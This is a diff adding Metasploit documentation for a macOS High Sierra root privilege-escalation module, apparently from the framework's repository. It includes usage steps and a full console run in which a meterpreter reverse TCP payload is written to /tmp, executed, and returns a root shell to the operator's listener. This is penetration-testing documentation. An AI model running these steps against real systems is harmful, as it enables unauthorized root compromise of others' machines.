Added documentation for iamroot

Author: bwatters-r7

documentation/modules/exploit/osx/local/root_no_password.md

@@ -0,0 +1,104 @@
+## Vulnerable Application
+This vulnerability works against OSX 10.13 (High Sierra).  Early
+research (https://objective-see.com/blog/blog_0x24.html) suggests that
+the vulnerability is the result of multiple errors ultimately started by
+an incorrect return value from triggered by the funtion
+`od_verify_crypt_password` rteturning true even if the account is
+disabled.  The subsequent function calls appear to alidate and create
+the password, though there is still a lot of research into the bug and
+these results should be verified once more research has been published.
+
+## Verification Steps
+1. Get a session on a vulnerable system
+2. `use exploit/osx/local/root_no_password`
+3. `set lhost <IP>`
+4. `set lport <PORT>`
+5. `set session <session_id>`
+6. `run`
+
+## Scenarios
+### Example Run
+```
+msf exploit(psexec) > use exploit/multi/handler
+msf exploit(handler) > set payload osx/x64/meterpreter_reverse_tcp
+payload => osx/x64/meterpreter_reverse_tcp
+msf exploit(handler) > set lhost <MSF_IP>
+lhost => <MSF_IP>
+msf exploit(handler) > set lport 4567
+lport => 4567
+msf exploit(handler) > run
+
+[*] Started reverse TCP handler on <MSF_IP>:4567 
+httpserver[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <OSX_IP>:49347) at 2017-11-29 07:28:32 -0600
+
+meterpreter > sysinfo
+Computer     : msfusers-Mac.local
+OS           :  (MacOSX 17.0.0)
+Architecture : x64
+Meterpreter  : x64/osx
+meterpreter > getuid
+Server username: uid=501, gid=20, euid=501, egid=20
+meterpreter > background
+[*] Backgrounding session 1...
+msf exploit(handler) > use exploit/osx/local/root_no_password 
+msf exploit(root_no_password) > show options
+
+Module options (exploit/osx/local/root_no_password):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   SESSION                   yes       The session to run this module on.
+
+
+Payload options (osx/x64/meterpreter_reverse_tcp):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   LHOST                   yes       The listen address
+   LPORT  4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Mac OS X 10.13.1 High Sierra x64 (Native Payload)
+
+
+msf exploit(root_no_password) > set lhost <MSF_IP>
+lhost => <MSF_IP>
+msf exploit(root_no_password) > set lport 4562
+lport => 4562
+msf exploit(root_no_password) > set session 1
+session => 1
+msf exploit(root_no_password) > run
+
+[*] Started reverse TCP handler on <MSF_IP>:4562 
+[*] Writing payload file as '/tmp/cinbvsmrmyxw'
+[*] Meterpreter session 2 opened (<MSF_IP>:4562 -> <OSX_IP>:62522) at 2017-11-29 07:29:56 -0600
+[*] <OSX_IP> - Meterpreter session 2 closed.  Reason: Died
+
+
+[*] Executing payload file as '/tmp/cinbvsmrmyxw'
+[!] This exploit may require manual cleanup of '/tmp/cinbvsmrmyxw' on the target
+
+[-] Invalid session identifier: 2
+msf exploit(root_no_password) > 
+msf exploit(root_no_password) > 
+msf exploit(root_no_password) > run
+
+[*] Started reverse TCP handler on <MSF_IP>:4562 
+[*] Writing payload file as '/tmp/imtjkakowanv'
+[*] Executing payload file as '/tmp/imtjkakowanv'
+[*] Meterpreter session 3 opened (<MSF_IP>:4562 -> <OSX_IP>:49348) at 2017-11-29 07:30:53 -0600
+[+] Deleted /tmp/imtjkakowanv
+
+meterpreter > sysinfo
+Computer     : msfusers-Mac.local
+OS           :  (MacOSX 17.0.0)
+Architecture : x64
+Meterpreter  : x64/osx
+meterpreter > getuid
+Server username: uid=0, gid=20, euid=0, egid=20
+meterpreter >
+```